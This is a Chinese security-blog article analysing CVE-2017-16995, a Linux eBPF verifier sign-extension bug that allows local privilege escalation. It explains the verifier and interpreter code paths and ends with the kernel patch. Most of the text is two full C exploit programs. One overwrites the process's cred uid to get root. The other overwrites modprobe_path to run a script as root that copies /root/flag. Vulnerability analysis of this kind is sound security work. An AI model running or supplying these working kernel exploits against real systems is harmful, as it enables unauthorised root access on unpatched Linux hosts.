CVE-2017-16995 eBPF 整数扩展问题导致本地提权漏洞分析

阅读量295395

|

发布时间 : 2021-06-04 16:30:59

 

漏洞是由于ebpf模块的整数扩展问题导致可以一段指令绕过verifier的检测,进而向内核注入任意的执行代码,导致本地提权。这里就不在介绍ebpf的基础知识了,网上资料很多,可以学习一波。

漏洞分析

先看一下poc

1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),   /* if (r9 == -1) {        */
3.BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */
4.BPF_EXIT_INSN()
5.……

由于verifier中对jmp和mov的检测与执行时候的语义不同导致我们可以将5指令之后的一系列指令绕过verifier的检测。

verifier检查时

我们具体来看一下。首先检测的是mov32这条指令。由于MOV32_IMM指令属于ALU这个class进入如下的分支。

static int do_check(struct bpf_verifier_env *env)
{
  //...
  if (class == BPF_ALU || class == BPF_ALU64) {
            err = check_alu_op(env, insn);
            if (err)
                return err;
        }
  //...
}

接着进入checl_alu_op函数中的如下分支,由于第一条指令我们是立即数因此这里的BPF_SRC(insn->code) == BPF_K

static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn)
{
  //...
  else if (opcode == BPF_MOV) {

    if (BPF_SRC(insn->code) == BPF_X) {
      //...
    } else {
      if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
        verbose("BPF_MOV uses reserved fields\n");
        return -EINVAL;
      }
    }

    /* check dest operand */
    //此时寄存器是作为目的操作数,这里进行一些检查,如目的寄存器不能是fp也就是reg10,并且将目的寄存器的type标记为unknown
    err = check_reg_arg(regs, insn->dst_reg, DST_OP);
    if (err)
      return err;

    if (BPF_SRC(insn->code) == BPF_X) {
      //...
    } else {
      /* case: R = imm
             * remember the value we stored into this reg
             */
      //最终会执行到这里
      regs[insn->dst_reg].type = CONST_IMM;
      regs[insn->dst_reg].imm = insn->imm;
    }

  }
  //...
}

最终也就是会执行

regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;

将目的寄存器的type设置为IMM,将imm成员变量设置为0xffffffff。其中regs的结构体定义如下,用来表示一个寄存器的状态。可以看到这里的imm也是int类型与insn中的imm类型相同。

struct reg_state {
  enum bpf_reg_type type;
  union {
    /* valid when type == CONST_IMM | PTR_TO_STACK */
    int imm;

    /* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
         *   PTR_TO_MAP_VALUE_OR_NULL
         */
    struct bpf_map *map_ptr;
  };
};

那么当执行到第二条指令也就是BPF_JMP_IMM的时候,就会进入如下的分支

static int do_check(struct bpf_verifier_env *env)
{
  //...
  else if (class == BPF_JMP) {
    u8 opcode = BPF_OP(insn->code);
    //...
     else {
       //处理条件跳转
      err = check_cond_jmp_op(env, insn, &insn_idx);
      if (err)
        return err;
    }
  }
  //...
}

接着会进入到check_cond_jmp_op函数的如下分支

static int check_cond_jmp_op(struct verifier_env *env,
                 struct bpf_insn *insn, int *insn_idx)
{
  //...
  if (BPF_SRC(insn->code) == BPF_X) {
        //...
    } else {
        if (insn->src_reg != BPF_REG_0) {
            verbose("BPF_JMP uses reserved fields\n");
            return -EINVAL;
        }
    }
  err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
    if (err)
        return err;
  if (BPF_SRC(insn->code) == BPF_K &&
        (opcode == BPF_JEQ || opcode == BPF_JNE) &&
        regs[insn->dst_reg].type == CONST_IMM &&
        regs[insn->dst_reg].imm == insn->imm) {
        if (opcode == BPF_JEQ) {
            /* if (imm == imm) goto pc+off;
             * only follow the goto, ignore fall-through
             */
            *insn_idx += insn->off;
            return 0;
        } else {
            /* if (imm != imm) goto pc+off;
             * only follow fall-through branch, since
             * that's where the program will go
             */
      // 这里直接返回
            return 0;
        }
    }
  //...
}

可以看到处理的逻辑,这里判断了regs[insn->dst_reg].imm == insn->imm,由于这两个结构体中的imm类型均相同都为int,因此这里的条件判读恒成立,直接返回。不会在进行后续的push_stack等增加分支以进行遍历检查的操作。

我们看一下exit的检查分支

static int do_check(struct bpf_verifier_env *env)
{
  //...
  else if (class == BPF_JMP) {
    u8 opcode = BPF_OP(insn->code);
    //...
    else if (opcode == BPF_EXIT) {
      if (BPF_SRC(insn->code) != BPF_K ||
          insn->imm != 0 ||
          insn->src_reg != BPF_REG_0 ||
          insn->dst_reg != BPF_REG_0) {
        verbose("BPF_EXIT uses reserved fields\n");
        return -EINVAL;
      }

      /* eBPF calling convetion is such that R0 is used
                 * to return the value from eBPF program.
                 * Make sure that it's readable at this time
                 * of bpf_exit, which means that program wrote
                 * something into it earlier
                 */
      err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
      if (err)
        return err;

      if (is_pointer_value(env, BPF_REG_0)) {
        verbose("R0 leaks addr as return value\n");
        return -EACCES;
      }

      process_bpf_exit:
      insn_idx = pop_stack(env, &prev_insn_idx);// 如果有其他分支的话遍历检查
      if (insn_idx < 0) {
        break;
      } else {
        do_print_state = true;
        continue;
      }
    }
  }
  //...
}

也就是说当我们执行到第四条指令即jmp exit的时候,经过上述检查,到insn_idx = pop_stack(env, &prev_insn_idx);会显示没有其他的分支,退出verifirer的死循环,检查结束。也就是说从第5条指令开始的后续指令都不用通过verifier的检查。

__bpf_prog_run执行时

第一条指令执行的时候会进入到ALU_MOV_K分支

#define DST    regs[insn->dst_reg]
#define IMM    insn->imm
ALU_MOV_K:
  DST = (u32) IMM;
  CONT;

但是注意到这里的regs与verifier中的regs并不相同,此时的regs是__bpf_prog_run函数中的局部变量

u64 regs[MAX_BPF_REG], tmp;

注意到这里时u64类型的。而在赋值的过程中将imm强制类型转换为了u32类型。

JMP_JNE_K:
  if (DST != IMM) {
    insn += insn->off;
    CONT_JMP;
  }
  CONT;

这里的IMM也就是insn->imm的类型没变,还是int类型,也就是下面结构体中的__s32类型。

struct bpf_insn {
    __u8    code;        /* opcode */
    __u8    dst_reg:4;    /* dest register */
    __u8    src_reg:4;    /* source register */
    __s16    off;        /* signed offset */
    __s32    imm;        /* signed immediate constant */
};

因此这里两者类型冲突判断不成立,也就是这里总是会发生跳转。就绕过了exit从第5条指令开始执行。那么注意到的是第5条指令之后都是未经过verifier验证的指令。

因此这里我们可以向kernel中注入任意的指令。

 

漏洞利用

已经可以向kernel中注入任意的指令,那么我们这里就可以做到任意内存读取了。关键部分的ebpf程序在这

BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),           /* r9 = (u32)0xFFFFFFFF   */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) {        */
BPF_MOV64_IMM(BPF_REG_0, 0),                    /*   exit(0);             */
BPF_EXIT_INSN(),

BPF_GET_MAP(ctrl_mapfd, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),    // reg6 = opcode
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 8),    // reg7 = index/address
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0x10), // reg8 = value
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),             // save map address to reg9
// opcode = 0, read map + index
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // r0 += r7
// read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 4),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = *r0
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *r9 = r6 save res to map[0]
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

//write opcode = 1
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), // *r0 = r8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// opcode = 2 get reg10 value
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_10),         // reg1 = reg10
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg10
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// opcode = 3 ab read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 3, 4),        // opcode =3 ab read reg7 address
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), // reg6 = *r7
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg6
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

//opcode = 4 ab write

BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *reg7 = reg8
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

代码应该很容易理解,这里就不解释了

这里利用存在两种方式

覆写cred

由于我们可以任意注入指令,因此这里我们可以直接拿到reg10也就是内核栈地址了。

current = stack_address & ~(0x4000 - 1)

current偏移为0的位置指向的就是current_task的地址,也就是当前进程的struct task结构。从这个结构中我们能拿到cred的地址,之后覆写uid就可了。

pwndbg> p/x 0xffff88001dbc3cc0 & ~(0x4000 - 1) // reg10, kernel stack
$4 = 0xffff88001dbc0000
pwndbg> x/2gx 0xffff88001dbc0000// current
0xffff88001dbc0000:     0xffff88001db2d080      0x0000000000000000
pwndbg> p ((struct task_struct *)0xffff88001db2d080)->cred
$5 = (const struct cred *) 0xffff88001db41a80
pwndbg> p *((struct task_struct *)0xffff88001db2d080)->cred
$6 = {
  usage = {
    counter = 9
  },
  uid = {
    val = 1000
  },
  gid = {
    val = 1000
  },
  suid = {
    val = 1000
  }

不同系统的task中cred的偏移不同,因此这里可以用爆破即首先通过prctl设置name,然后直接爆破搜索即可。但是这样是有点麻烦的。因为我们已经知道了task的地址,而cred距离task不远,因此这里我们直接搜索uid/gid也就是可以的。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <poll.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/shm.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include "bpf.h"

char buffer[64];
int sockets[2];
int ctrl_mapfd;
int vuln_mapfd;
size_t ctrlmap_ptr;
size_t vulnmap_ptr;
size_t leakbuf[0x100];
size_t ctrlbuf[0x100];
size_t kbase;
size_t pivot_esp;
size_t modprobe_path;

unsigned long long user_cs, user_ss, user_rflags;
unsigned long user_stack = 0;

struct message
{
  long type;
  char text[0x800];
} msg;

void msg_alloc(int id, int size)
{
  if (msgsnd(id, (void *)&msg, size - 0x30, IPC_NOWAIT) < 0)
  {
    perror(strerror(errno));
    exit(1);
  }
}

void heap_spray()
{
  int msqid;
  msg.type = 1;

  if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) < 0)
  {
    perror(strerror(errno));
    exit(1);
  }

  for (int i = 0; i < 0x17; ++i)
  {
    msg_alloc(msqid, 0x200);
  }
}

void get_shell()
{
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
}

void update_elem_ctrl()
{
  int key = 0;
  if (bpf_update_elem(ctrl_mapfd, &key, ctrlbuf, 0))
  {
    printf("bpf_update_elem failed '%s'\n", strerror(errno));
  }
}

void get_elem_ctrl()
{
  int key = 0;
  if (bpf_lookup_elem(ctrl_mapfd, &key, leakbuf))
  {
    printf("bpf_lookup_elem failed '%s'\n", strerror(errno));
  }
}

void debugmsg(void)
{
  char buffer[64];
  ssize_t n = write(sockets[0], buffer, sizeof(buffer));

  if (n < 0)
  {
    perror("write");
    return;
  }
  if (n != sizeof(buffer))
    fprintf(stderr, "short write: %lu\n", n);
}

int load_prog()
{
  // make bpf_map alloc to new page, in order to leak heap pointer stablly
  // heap_spray();

  // size == 0x100, useful to set data on bpfarray
  ctrl_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
  if (ctrl_mapfd < 0)
  {
    puts("failed to create map1");
    return -1;
  }

  printf("create first map finished %p\n", ctrl_mapfd);

  // size*count should be the same as ctrl_map
  vuln_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
  if (vuln_mapfd < 0)
  {
    puts("failed to create map2");
    return -1;
  }

  printf("create vuln map finished %p\n", vuln_mapfd);

  // sizeof(struct bpf_array) == 0x200
  // offset of bpf_array.value == 0x90
  struct bpf_insn prog[] =
      {
          // DW == 8bytes
          BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),           /* r9 = (u32)0xFFFFFFFF   */
          BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) {        */
          BPF_MOV64_IMM(BPF_REG_0, 0),                    /*   exit(0);             */
          BPF_EXIT_INSN(),

          BPF_GET_MAP(ctrl_mapfd, 0),
          BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),    // reg6 = opcode
          BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 8),    // reg7 = index/address
          BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0x10), // reg8 = value
          BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),             // save map address to reg9
          // opcode = 0, read map + index
          BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // r0 += r7
          // read
          BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 4),
          BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = *r0
          BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *r9 = r6 save res to map[0]
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),

          //write opcode = 1
          BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
          BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), // *r0 = r8
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),

          // opcode = 2 get reg10 value
          BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 4),
          BPF_MOV64_REG(BPF_REG_6, BPF_REG_10),         // reg1 = reg10
          BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg10
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),

          // opcode = 3 ab read
          BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 3, 4),        // opcode =3 ab read reg7 address
          BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), // reg6 = *r7
          BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg6
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),

          //opcode = 4 ab write

          BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *reg7 = reg8
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),
      };

  printf("call ing prog load fun\n");
  return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}

void infoleak()
{
  update_elem_ctrl();
  printf("update elem ctrl finished\n");
  debugmsg();
  get_elem_ctrl();
  printf("get elem ctrl finished\n");
  // debugmsg();
}

void save_state()
{
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_stack), "=r"(user_rflags)
      :
      : "memory");
}

int main()
{
  save_state();
  signal(SIGSEGV, get_shell);
  system("/bin/mkdir /tmp");
  system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a");
  system("chmod +x /tmp/a");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
  system("chmod +x /tmp/ll");
  int progfd = load_prog();
  printf("load prog finished \n");

  if (progfd < 0)
  {
    printf("log:\n%s", bpf_log_buf);
    if (errno == EACCES)
      printf("failed to load prog '%s'\n", strerror(errno));
  }

  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
  {
    strerror(errno);
    return 0;
  }

  if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
  {
    strerror(errno);
    return 0;
  }

  ctrlbuf[0] = 0;
  ctrlbuf[1] = 0x1c0;
  infoleak();

  kbase = leakbuf[0] - 0xa13e60;
  modprobe_path = kbase + 0xe3cb00;
  printf("[+] leak kernel kbase: 0x%lx\n", kbase);
  printf("[+] leak modprobe path kbase: 0x%lx\n", modprobe_path);

  ctrlbuf[0] = 2;
  infoleak();
  size_t stack_fp = leakbuf[0];
  size_t current_address = stack_fp & ~(0x4000 - 1);
  printf("[+] leak stack fp: 0x%lx\n", stack_fp);

  ctrlbuf[0] = 3;
  ctrlbuf[1] = current_address;
  infoleak();
  size_t task_struct_address = leakbuf[0];
  printf("[+] task struct address: 0x%lx\n", task_struct_address);

  size_t cred_ptr_address = task_struct_address + 0x5b0;
  ctrlbuf[0] = 3;
  ctrlbuf[1] = cred_ptr_address;
  infoleak();
  size_t cred_address = leakbuf[0];
  printf("cred address is 0x%lx\n", cred_address);

  size_t uid_address = cred_address + 4; // uid and gid cost 4 bytes, so we can just write 8bytes to overwrite them.
  ctrlbuf[0] = 4;
  ctrlbuf[1] = uid_address;
  ctrlbuf[2] = 0;
  getchar();
  update_elem_ctrl();
  debugmsg();

  if (getuid() == 0)
  {
    system("/bin/sh");
  }
  else
  {
    printf("something wrong\n");
  }
}

覆写modprobe_path

申请两个map,然后通过第一个map的越界读取第二个map的ops进而泄漏出kernel base。

接着覆写modprobe_path以root权限执行任意的脚本。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <poll.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/shm.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include "bpf.h"

char buffer[64];
int sockets[2];
int ctrl_mapfd;
int vuln_mapfd;
size_t ctrlmap_ptr;
size_t vulnmap_ptr;
size_t leakbuf[0x100];
size_t ctrlbuf[0x100];
size_t kbase;
size_t pivot_esp;
size_t modprobe_path;

unsigned long long user_cs, user_ss, user_rflags;
unsigned long user_stack = 0;

struct message
{
  long type;
  char text[0x800];
} msg;

void msg_alloc(int id, int size)
{
  if (msgsnd(id, (void *)&msg, size - 0x30, IPC_NOWAIT) < 0)
  {
    perror(strerror(errno));
    exit(1);
  }
}

void heap_spray()
{
  int msqid;
  msg.type = 1;

  if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) < 0)
  {
    perror(strerror(errno));
    exit(1);
  }

  for (int i = 0; i < 0x17; ++i)
  {
    msg_alloc(msqid, 0x200);
  }
}

void get_shell()
{
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
}

void update_elem_ctrl()
{
  int key = 0;
  if (bpf_update_elem(ctrl_mapfd, &key, ctrlbuf, 0))
  {
    printf("bpf_update_elem failed '%s'\n", strerror(errno));
  }
}

void get_elem_ctrl()
{
  int key = 0;
  if (bpf_lookup_elem(ctrl_mapfd, &key, leakbuf))
  {
    printf("bpf_lookup_elem failed '%s'\n", strerror(errno));
  }
}

void debugmsg(void)
{
  char buffer[64];
  ssize_t n = write(sockets[0], buffer, sizeof(buffer));

  if (n < 0)
  {
    perror("write");
    return;
  }
  if (n != sizeof(buffer))
    fprintf(stderr, "short write: %lu\n", n);
}

int load_prog()
{
  // make bpf_map alloc to new page, in order to leak heap pointer stablly
  // heap_spray();

  // size == 0x100, useful to set data on bpfarray
  ctrl_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
  if (ctrl_mapfd < 0)
  {
    puts("failed to create map1");
    return -1;
  }

  printf("create first map finished %p\n", ctrl_mapfd);

  // size*count should be the same as ctrl_map
  vuln_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1, 0);
  if (vuln_mapfd < 0)
  {
    puts("failed to create map2");
    return -1;
  }

  printf("create vuln map finished %p\n", vuln_mapfd);

  // sizeof(struct bpf_array) == 0x200
  // offset of bpf_array.value == 0x90
  struct bpf_insn prog[] =
      {
          // DW == 8bytes
          BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),           /* r9 = (u32)0xFFFFFFFF   */
          BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) {        */
          BPF_MOV64_IMM(BPF_REG_0, 0),                    /*   exit(0);             */
          BPF_EXIT_INSN(),

          BPF_GET_MAP(ctrl_mapfd, 0),
          BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),    // reg6 = opcode
          BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 8),    // reg7 = index/address
          BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0x10), // reg8 = value
          BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),             // save map address to reg9
          // opcode = 0, read map + index
          BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // r0 += r7
          // read
          BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 4),
          BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = *r0
          BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *r9 = r6 save res to map[0]
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),

          //write opcode = 1
          BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
          BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), // *r0 = r8
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),

          // opcode = 2 get reg10 value
          BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 4),
          BPF_MOV64_REG(BPF_REG_6, BPF_REG_10),         // reg1 = reg10
          BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg10
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),

          // opcode = 3 ab read
          BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 3, 4),        // opcode =3 ab read reg7 address
          BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), // reg6 = *r7
          BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_6, 0), // *reg9 = reg6
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),

          //opcode = 4 ab write

          BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *reg7 = reg8
          BPF_MOV64_IMM(BPF_REG_0, 0),
          BPF_EXIT_INSN(),
      };

  printf("call ing prog load fun\n");
  return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}

void infoleak()
{
  update_elem_ctrl();
  printf("update elem ctrl finished\n");
  debugmsg();
  get_elem_ctrl();
  printf("get elem ctrl finished\n");
  // debugmsg();
}

void save_state()
{
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_stack), "=r"(user_rflags)
      :
      : "memory");
}

int main()
{
  save_state();
  signal(SIGSEGV, get_shell);
  system("/bin/mkdir /tmp");
  system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a");
  system("chmod +x /tmp/a");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
  system("chmod +x /tmp/ll");
  int progfd = load_prog();
  printf("load prog finished \n");

  if (progfd < 0)
  {
    printf("log:\n%s", bpf_log_buf);
    if (errno == EACCES)
      printf("failed to load prog '%s'\n", strerror(errno));
  }

  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
  {
    strerror(errno);
    return 0;
  }

  if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
  {
    strerror(errno);
    return 0;
  }

  ctrlbuf[0] = 0;
  ctrlbuf[1] = 0x1c0;
  infoleak();

  // kbase = leakbuf[2] - 0xa12100;
  kbase = leakbuf[0] - 0xa13e60;
  pivot_esp = kbase + 0x6ec938;
  modprobe_path = kbase + 0xe3cb00;
  printf("[+] leak kernel kbase: 0x%lx\n", kbase);
  printf("[+] leak modprobe path kbase: 0x%lx\n", modprobe_path);

  // ctrlbuf[0] = 0x570 * 2;
  ctrlbuf[0] = 4;
  ctrlbuf[1] = modprobe_path;
  ctrlbuf[2] = 0x612f706d742f;
  update_elem_ctrl();
  debugmsg();

  system("/tmp/ll");
}

 

patch

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 625e358ca765e..c086010ae51ed 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -2408,7 +2408,13 @@ static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
              * remember the value we stored into this reg
              */
             regs[insn->dst_reg].type = SCALAR_VALUE;
-            __mark_reg_known(regs + insn->dst_reg, insn->imm);
+            if (BPF_CLASS(insn->code) == BPF_ALU64) {
+                __mark_reg_known(regs + insn->dst_reg,
+                         insn->imm);
+            } else {
+                __mark_reg_known(regs + insn->dst_reg,
+                         (u32)insn->imm);
+            }
         }

     } else if (opcode > BPF_END) {

__mark_reg_known函数的参数为u64,那么32位的有符号数进入到__mark_reg_known函数之前首先被转换为了u32也就是无符号函数,因此这里就不存在符号扩展的问题了。

__mark_reg_known函数的commit部分没有找到,

static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
    /* Clear id, off, and union(map_ptr, range) */
    memset(((u8 *)reg) + sizeof(reg->type), 0,
           offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
    reg->var_off = tnum_const(imm);
    reg->smin_value = (s64)imm;
    reg->smax_value = (s64)imm;
    reg->umin_value = imm;
    reg->umax_value = imm;
}

本文由LYYL原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/241063

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
LYYL
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66